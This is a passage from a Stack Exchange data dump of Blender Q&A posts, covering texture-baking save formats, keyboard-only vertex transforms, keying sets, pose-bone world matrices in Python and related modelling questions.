&lt;kbd&gt;Control&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;. But can alternatively use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Groups_and_Parenting&quot; rel=&quot;noreferrer&quot;&gt;Group&lt;/a&gt; of objects and have them spread around in various ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xCnuZ.png&quot; alt=&quot;A grid particle system and the Apply menu with the Make Duplicates Real hilighted&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-06-21T21:50:26.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1263" PostTypeId="1" CreationDate="2013-06-21T21:57:40.683" Score="6" ViewCount="1181" Body="&lt;p&gt;Once I've baked a texture and want to save it - by default Blender offers me to save it as PNG RGBA, I change it to PNG RGB (no alpha) and save it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that every time I re-bake the same texture and simply hit Save, it somehow saves as PNG RGBA again, not RGB as I saved it initially.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Why is it not remembering my file format when saving with &quot;Save&quot;, not with &quot;Save as&quot; (from uv window)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Where can I set its defaults to PNG RGB, so that every time I save a baked texture I won't have to go and click PNG RGB?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="772" LastEditorUserId="14" LastEditDate="2013-06-21T22:10:08.533" LastActivityDate="2014-06-21T09:15:55.237" Title="Setting default file format when saving baked textures?" Tags="&lt;file-format&gt;&lt;texture-baking&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1264" PostTypeId="1" AcceptedAnswerId="1281" CreationDate="2013-06-21T22:30:25.847" Score="6" ViewCount="157" Body="&lt;p&gt;I'm trying to load a custom icon set, however Blender will not load it despite the fact that it's a modified version of the original SVG.&lt;/p&gt;&#xA;" OwnerUserId="773" LastEditorUserId="25" LastEditDate="2013-06-22T02:17:51.490" LastActivityDate="2013-06-22T18:11:08.567" Title="How do I import a custom icon set in the theme options?" Tags="&lt;customization&gt;&lt;theme&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1265" PostTypeId="2" ParentId="1263" CreationDate="2013-06-21T22:49:04.510" Score="1" Body="&lt;p&gt;To change the default image file type produced by Blender, you actually want to change the image settings in the Render panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change the default for a single file, go to the Properties&gt;Render panel and scroll down to the 'Output' submenu. Then select the file format and BW/RGB/RGBA to your desired format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lfv1B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to set this as your default image type for &lt;em&gt;all&lt;/em&gt; of your projects, first open a new file or open a new instance of Blender. Change the settings to what you would like to be default, then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This changes your startup .blend file so that when you open future projects, they will come preloaded with these settings. It will not affect any of your old .blend files.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-06-21T22:49:04.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1268" PostTypeId="1" AcceptedAnswerId="56403" CreationDate="2013-06-22T02:28:23.993" Score="6" ViewCount="1261" Body="&lt;p&gt;If lock the property right now it just prevents me from manipulating it but when i key it keys all the location rotation and position channels.&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2016-06-21T15:10:13.843" Title="Is there a way to lock bones property from getting keyed. In Auto Key mode?" Tags="&lt;animation&gt;&lt;rigging&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1269" PostTypeId="2" ParentId="1261" CreationDate="2013-06-22T03:10:38.063" Score="9" Body="&lt;p&gt;No. You cannot use Blender's GUI package in other programs outside of Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender Graphical User Interface package is solely designed to be used with Blender on various platforms. Blender also has a custom window manager. And the UI widgets in Blender are tightly coupled with Blender's Data API (RNA/ID properties)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most other user interface toolkits have their own runtime and are created for generic use, hence contain lots of functionality that either conflicts with Blender Design Goals, or adds unnecessary size to Blender package (hence increasing download size)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the design goals of Blender user interface as stated in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface&quot; rel=&quot;noreferrer&quot;&gt;Wiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Blender user interface is based on 3 main principles:&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;&lt;strong&gt;Non Overlapping&lt;/strong&gt;: The UI permits you to view all relevant options and tools at a glance without pushing or dragging windows around.&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;&lt;strong&gt;Non Blocking&lt;/strong&gt;: Tools and interface options do not block the user from any other parts of Blender. Blender doesn't pop up requesters that require the user to fill in data before things execute.&lt;/p&gt;&#xA;    &#xA;    &lt;p&gt;&lt;strong&gt;Non Modal&lt;/strong&gt;: User input should remain as consistent and predictable as possible without changing commonly used methods (mouse, keyboard) on the fly.&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;However, Blender 2.5 permits multiple windows for multi-screen setup. It is an exception to the Non overlapping rule.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="228" LastEditorUserId="228" LastEditDate="2013-06-22T06:25:25.173" LastActivityDate="2013-06-22T06:25:25.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1270" PostTypeId="2" ParentId="1268" CreationDate="2013-06-22T03:20:38.993" Score="1" Body="&lt;p&gt;I do not know of a way if you are using the default keying sets in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, what you want can be achieved by creating and using custom keying sets.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add only properties that you want to be keyed to a custom keying set.&lt;/li&gt;&#xA;&lt;li&gt;Choose that keying set as the one to be used when auto keying / manual keying&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://aligorith.blogspot.in/2010/12/animating-in-25-getting-to-grips-with.html&quot; rel=&quot;nofollow&quot;&gt;[Animating in 2.5] Getting to grips with Keying Sets&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="228" LastActivityDate="2013-06-22T03:20:38.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1271" PostTypeId="2" ParentId="1263" CreationDate="2013-06-22T10:51:21.750" Score="0" Body="&lt;p&gt;It keeps defaulting to RGBA because the image has a alpha channel (and is trying not to loose information). Uncheck the Alpha option when creating the image and it'll default to RGB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CeTOi.png&quot; alt=&quot;New image dialog&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-06-22T10:51:21.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1272" PostTypeId="2" ParentId="1258" CreationDate="2013-06-22T12:07:01.570" Score="17" Body="&lt;p&gt;Cycles node system is very flexible and allows you to manipulate the UVs in pretty much any way you like. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The UV channel can be used as if it were just an image where U and V correspond to red and green channels.&lt;br&gt;&#xA;These can be separated and manipulated using math nodes to create a mask you can use to clip the texture. &#xA;Here's a screenshot of a node setup doing that: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XlvMr.png&quot; alt=&quot; screenshot of suggested node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This uses the clip mask group to mix the texture to black. You could also use it in a mix material node to mix with a transparent shader or the like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While making such node groups is a relatively long process, you can append or link the node group whenever necessary after you've made it once.&lt;/p&gt;&#xA;" OwnerUserId="263" LastEditorUserId="599" LastEditDate="2013-08-07T20:01:46.963" LastActivityDate="2013-08-07T20:01:46.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1273" PostTypeId="1" AcceptedAnswerId="1276" CreationDate="2013-06-22T12:19:16.547" Score="14" ViewCount="12267" Body="&lt;p&gt;Anyone with sufficient mouse and chair miles will confirm that learning the keyboard short-cuts for frequently used operations vastly speeds up a workflow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I realized that there are things I use the mouse for that should be doable solely from a keyboard context. One of these things is moving a selected vertex using the &lt;code&gt;Transform&lt;/code&gt; toolbar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: How to enter a new coordinate for an existing selected vertex without using the mouse or the transform toolbar? Preferably &lt;code&gt;absolute Global&lt;/code&gt; / &lt;code&gt;absolute Local&lt;/code&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Another reason why absolute entry would be welcome&lt;/strong&gt;&lt;br&gt;&#xA;Another example, but this affects multiple selected vertices, is setting the X component of a bunch of vertices to be locally some absolute value. Especially useful when a mirror modifier needs the center vertices to line up nicely and their median &lt;code&gt;X&lt;/code&gt; is not 0. Now the way is to &lt;kbd&gt;S&lt;/kbd&gt; ,&lt;kbd&gt;X&lt;/kbd&gt; to restrict the axis, then numeric &lt;code&gt;0&lt;/code&gt; to unify them (sets them all to the median of their x component), then mouse over to the transform panel and set the median &lt;code&gt;x&lt;/code&gt; to 0.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-22T20:40:40.533" LastActivityDate="2016-08-01T12:47:14.860" Title="How to input location of selected Vertex using keyboard only" Tags="&lt;shortcut&gt;&lt;vertices&gt;&lt;transforms&gt;" AnswerCount="4" CommentCount="9" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1275" PostTypeId="2" ParentId="1273" CreationDate="2013-06-22T12:58:59.730" Score="0" Body="&lt;p&gt;Add a Vertex (&lt;kbd&gt;Ctrl&lt;/kbd&gt;-left click), and set the vertex location to origin: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;type &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; + &lt;kbd&gt;U&lt;/kbd&gt; (Cursor to Center), then&lt;/p&gt;&#xA;&#xA;&lt;p&gt;type &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; + &lt;kbd&gt;T&lt;/kbd&gt; (Selection to Cursor)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;G&lt;/kbd&gt; to enter grab mode. Enter movement in x direction with &lt;kbd&gt;0&lt;/kbd&gt;-&lt;kbd&gt;9&lt;/kbd&gt; decimal point . and negative -, &lt;kbd&gt;Tab&lt;/kbd&gt; enter y value (like the x value), &lt;kbd&gt;Tab&lt;/kbd&gt; enter z value (like the x value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can limit the transform on a axis by pressing &lt;kbd&gt;x&lt;/kbd&gt;, &lt;kbd&gt;y&lt;/kbd&gt; or &lt;kbd&gt;z&lt;/kbd&gt; in grab mode. Or &lt;kbd&gt;Shift&lt;/kbd&gt; and &lt;kbd&gt;x&lt;/kbd&gt;, &lt;kbd&gt;y&lt;/kbd&gt;, &lt;kbd&gt;z&lt;/kbd&gt; to limit on the other axis . &lt;/p&gt;&#xA;" OwnerUserId="771" LastEditorUserId="12" LastEditDate="2013-06-23T21:12:03.603" LastActivityDate="2013-06-23T21:12:03.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1276" PostTypeId="2" ParentId="1273" CreationDate="2013-06-22T13:21:00.437" Score="8" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;SHIFT&lt;/kbd&gt; + &lt;kbd&gt;S&lt;/kbd&gt; and &lt;kbd&gt;U&lt;/kbd&gt; &lt;i&gt;Cursor to Center&lt;/i&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;SHIFT&lt;/kbd&gt; + &lt;kbd&gt;S&lt;/kbd&gt; and &lt;kbd&gt;T&lt;/kbd&gt; &lt;i&gt;Selection to Cursor&lt;/i&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;G&lt;/kbd&gt; 1.5 &lt;kbd&gt;Tab&lt;/kbd&gt; - 1 &lt;kbd&gt;Tab&lt;/kbd&gt; 1.2 &lt;kbd&gt;Enter&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;First step can be skipped when the 3D cursor is already at the center.&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2016-08-01T12:47:14.860" LastActivityDate="2016-08-01T12:47:14.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1277" PostTypeId="2" ParentId="1273" CreationDate="2013-06-22T13:52:46.040" Score="6" Body="&lt;p&gt;There was a &lt;a href=&quot;http://projects.blender.org/tracker/index.php?func=detail&amp;amp;aid=31037&quot;&gt;patch&lt;/a&gt; submitted last year &lt;em&gt;(been trying to get someone to look at it)&lt;/em&gt; that can make this happen very naturally as it builds on the existing functionality we get from using &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; with simple intuitive arithmetic.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This patch adds the ability to perform basic math operations when&#xA;  providing numerical input to a transform (i.e. Grab, Scale, Rotate)&#xA;  operation.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The supported operations include:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Addition (+)&lt;/li&gt;&#xA;  &lt;li&gt;Subtraction (-)&lt;/li&gt;&#xA;  &lt;li&gt;Multiplication (*)&lt;/li&gt;&#xA;  &lt;li&gt;Division (/)&lt;/li&gt;&#xA;  &lt;li&gt;Power (^)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;It works on a left-to-right basis, updating the result whenever a new&#xA;  operation is started and using that value as the starting point for&#xA;  the next. This means that it is irrespective of any math operation&#xA;  precedence rules, but this felt way more intuitive.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Because these operations require the use of the &lt;kbd&gt;-&lt;/kbd&gt; and &lt;kbd&gt;/&lt;/kbd&gt; keys, the&#xA;  sign switching and number inversion hotkeys have been moved to&#xA;  &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;-&lt;/kbd&gt; and &lt;kbd&gt;shift&lt;/kbd&gt;&lt;kbd&gt;/&lt;/kbd&gt;&#xA;  respectfully.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A quick example: &lt;kbd&gt;G&lt;/kbd&gt;, &lt;kbd&gt;Y&lt;/kbd&gt;, &lt;kbd&gt;5&lt;/kbd&gt;, &lt;code&gt;// Moving 5 units across the y-axis&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;kbd&gt;+&lt;/kbd&gt;, &lt;kbd&gt;2&lt;/kbd&gt;, &lt;kbd&gt;.&lt;/kbd&gt;, &lt;kbd&gt;5&lt;/kbd&gt;, &lt;code&gt;// Moving (5 + 2.5 = ) 7.5 units across the y-axis&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;kbd&gt;/&lt;/kbd&gt;, &lt;code&gt;// The result of the previous operation is now the starting point&#xA;  for next operation&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;kbd&gt;3&lt;/kbd&gt;, &lt;code&gt;// Moving (7.5 / 3 =) 2.5 units across the&#xA;  y-axis&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;-&lt;/kbd&gt; &lt;code&gt;// Switch sign, moving -2.5 units across the y-axis&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-22T13:59:35.663" LastActivityDate="2013-06-22T13:59:35.663" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1278" PostTypeId="2" ParentId="1261" CreationDate="2013-06-22T14:21:53.320" Score="2" Body="&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/a/1269/12&quot;&gt;satishgoda&lt;/a&gt; says, &lt;em&gt;No&lt;/em&gt;. Blender uses its own windowing wrapper to provide OpenGL window access - called &lt;a href=&quot;http://projects.blender.org/docman/view.php/13/4/ghost_doc.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;GHOST&lt;/a&gt;. I won't get into too much detail as satishgoda's answer pretty much sums it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, while it might not be exactly what you have in mind, you can definitely use this toolkit to draw your own shapes/interfaces as Blender's entire interface is drawn in OpenGL. &lt;em&gt;&lt;sup&gt;(&lt;a href=&quot;https://svn.blender.org/svnroot/bf-blender/trunk/blender/intern/ghost&quot; rel=&quot;nofollow noreferrer&quot;&gt;src&lt;/a&gt;)&lt;/sup&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2013-06-22T21:22:21.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1279" PostTypeId="2" ParentId="1226" CreationDate="2013-06-22T15:12:35.130" Score="1" Body="&lt;p&gt;Try changing index of refraction(iOR) to real value of glass.If it looks like glass shows traces of juice in it,try scaling down juice mesh a little bit(like .99)&#xA;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="432" LastActivityDate="2013-06-22T15:12:35.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1280" PostTypeId="2" ParentId="1187" CreationDate="2013-06-22T17:40:21.597" Score="6" Body="&lt;p&gt;If you want to put some color on stuctures based on a certain data field, have a look at my addon&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Mesh/ColorMesh&quot;&gt;ColorMesh&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The examples are done using Suzanne as the stucture and an artificial data field. If you can process your data in python, you can save your data field and read it in blender.&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2013-06-22T17:40:21.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1281" PostTypeId="2" ParentId="1264" CreationDate="2013-06-22T18:11:08.567" Score="5" Body="&lt;p&gt;Currently, you can't.&#xA;In 2.67 there is a button in the theme preferences, but since this is non-functional its been removed for 2.68.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can of course build your own blender from source with modified icons and fonts but this is outside the scope of stack-exchange.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-22T18:11:08.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1282" PostTypeId="2" ParentId="1273" CreationDate="2013-06-22T18:22:35.453" Score="1" Body="&lt;p&gt;While using key shortcuts is valuable, Im not sure why you would want to enter &lt;strong&gt;absolute&lt;/strong&gt; coords?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set absolute location you can only do this one point at a time, so Im not sure why you would want to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The times I have a list of positions I need to enter I would write a small Python script rather then type them in by hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The typical blender workflow for this would be...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Manually enter the location of the 3D cursor then snap to it.&lt;/li&gt;&#xA;&lt;li&gt;Select the point then use the transform panel to set the exact position.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Transform using x/y/z key bindings and entering in values is &lt;em&gt;not&lt;/em&gt; absolute, but its efficient and most users would do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So while this isn't optimal, I'd like to know what you do that makes this such an important feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that if you for some reason have a workflow that requires this (but isn't useful enough to be added into Blender by default), it's not so hard to write an addon to do this and assign it a key shortcut.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-22T18:22:35.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1283" PostTypeId="1" AcceptedAnswerId="1287" CreationDate="2013-06-22T19:44:49.420" Score="15" ViewCount="8222" Body="&lt;p&gt;Is there a command for getting world-space matrix of pose bones, same as &lt;code&gt;obj.matrix_world&lt;/code&gt; for objects? I found &lt;code&gt;pose_bone.matrix&lt;/code&gt;, but it gives weird result for me.&lt;/p&gt;&#xA;" OwnerUserId="782" LastEditorUserId="55" LastEditDate="2013-06-22T19:53:43.100" LastActivityDate="2020-09-23T16:07:50.993" Title="How to get world-space matrix of any pose bone?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1284" PostTypeId="1" AcceptedAnswerId="1285" CreationDate="2013-06-22T20:21:14.157" Score="13" ViewCount="4641" Body="&lt;p&gt;I was wondering if there was a method to alter object settings at a set point in an animation in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I want to make the color of an object blue for the first 20 frames, but after 20 frames I want its color to change to green. Is there any known method of doing this? I could not find anything when I searched.&lt;/p&gt;&#xA;" OwnerUserId="783" LastEditorUserId="12" LastEditDate="2013-06-22T20:34:44.703" LastActivityDate="2016-07-31T13:55:42.750" Title="How can I animate object properties in Blender?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1285" PostTypeId="2" ParentId="1284" CreationDate="2013-06-22T20:24:25.310" Score="14" Body="&lt;p&gt;If you right click on a property and click &lt;em&gt;Insert Keyframe&lt;/em&gt;, you can animate that property like you would the location, rotation, scale, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SgzAf.png&quot; alt=&quot;Insert Keyframe menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method works with almost all the properties including all values and most checkboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; &lt;a href=&quot;https://blender.stackexchange.com/questions/1284/how-can-i-animate-object-properties-in-blender#comment2190_1285&quot;&gt;Gwenn&lt;/a&gt; commented and noted that you can also insert the keyframe by using the &lt;kbd&gt;I&lt;/kbd&gt; key. Also, you can &lt;em&gt;Remove&lt;/em&gt; keyframes with &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;I&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2016-07-31T13:55:42.750" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1286" PostTypeId="1" AcceptedAnswerId="1289" CreationDate="2013-06-22T20:41:27.080" Score="8" ViewCount="505" Body="&lt;p&gt;I want to pack an animated texture (a sequence of images) into a .blend file, but for some reason, I can't do that. Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="782" LastEditorUserId="20508" LastEditDate="2016-07-03T12:47:08.997" LastActivityDate="2016-07-03T12:47:08.997" Title="Is it possible to pack a sequence of images into a .blend file?" Tags="&lt;blend-files&gt;&lt;data-blocks&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1287" PostTypeId="2" ParentId="1283" CreationDate="2013-06-22T20:46:09.507" Score="14" Body="&lt;p&gt;Yes:&lt;/p&gt;&#xA;&lt;p&gt;As the documentation says, a pose bones matrix is in object space, this means - unless the object has no loc/scale/rot applied, you will have to apply the objects matrix.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;matrix_final = &lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.Object.html#bpy.types.Object.Object.matrix_world&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;obj.matrix_world&lt;/code&gt;&lt;/a&gt; &lt;code&gt;@&lt;/code&gt; &lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.PoseBone.html#bpy.types.PoseBone.PoseBone.matrix&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;pose_bone.matrix&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This test script adds an empty at the pose-bone.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# Assume we are in pose mode with an active bone&#xA;&#xA;import bpy&#xA;from bpy import context&#xA;&#xA;pose_bone = context.active_pose_bone&#xA;&#xA;# we can get the object from the pose bone&#xA;obj = pose_bone.id_data&#xA;matrix_final = obj.matrix_world @ pose_bone.matrix&#xA;&#xA;&#xA;# now we can view the matrix by applying it to an object&#xA;obj_empty = bpy.data.objects.new(&amp;quot;Test&amp;quot;, None)&#xA;context.collection.objects.link(obj_empty)&#xA;obj_empty.matrix_world = matrix_final&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="15543" LastEditDate="2020-09-23T15:14:56.860" LastActivityDate="2020-09-23T15:14:56.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1289" PostTypeId="2" ParentId="1286" CreationDate="2013-06-22T21:07:00.123" Score="5" Body="&lt;p&gt;You can of course pack many image data blocks,&#xA;but you can't pack the frames of an image where the &lt;strong&gt;Source&lt;/strong&gt; is set to &lt;strong&gt;Image Sequence&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-22T21:07:00.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1290" PostTypeId="2" ParentId="1261" CreationDate="2013-06-22T21:27:38.030" Score="21" Body="&lt;p&gt;Short answer: &lt;strong&gt;no&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;...at least nobody has split off Blender's user interface from the application so that it can be used separately, &lt;strong&gt;and doing this isn't trivial.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Even if such a task were undertaken, keeping the code-bases in sync would be a challenge, so I think there is not much interest to do this. Besides, there are many UI toolkits out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is GHOST &lt;em&gt;(General Handy Operating System Toolkit)&lt;/em&gt;, which can be used outside of Blender, but it's very low level, only providing window access, mouse, keyboard, ndof and tablet events from X11/MS-Windows/OS X.&#xA;It doesn't actually draw anything; buttons or text, for example, are handled by Blender's own code. So likely GHOST isn't what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather then using GHOST you're better off using a general purpose library such as SDL, Allegro, GLFW, or SFML. Some of these libraries have Python wrappers; for example, PyGame is a popular SDL wrapper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, as for UI toolkits, there are too many to mention here; there are enough resources online.&#xA;See: Q &lt;a href=&quot;http://www.slant.co/topics/983/~cross-platforms-gui-toolkit&quot; rel=&quot;noreferrer&quot;&gt;What are the best cross platform widget toolkits?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;On the other hand, nothing is stopping your from making a fork of Blenders UI for your own purposes, its just likely you'll end up having to spend time refactoring code out for your own use where you might better spend time working on the application its self.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-11-04T18:20:04.330" LastActivityDate="2015-11-04T18:20:04.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1291" PostTypeId="1" AcceptedAnswerId="1292" CreationDate="2013-06-22T21:37:56.077" Score="184" ViewCount="451234" Body="&lt;p&gt;How can I change the local origin of an object, without changing the object location in the world space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the object located at position (0,0,0) in the world space&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fXA1C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the same object located at position (0,1,0) in the world space, but with its local origin offset so that the object is in the same place&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ueoyz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a way to do this in a single 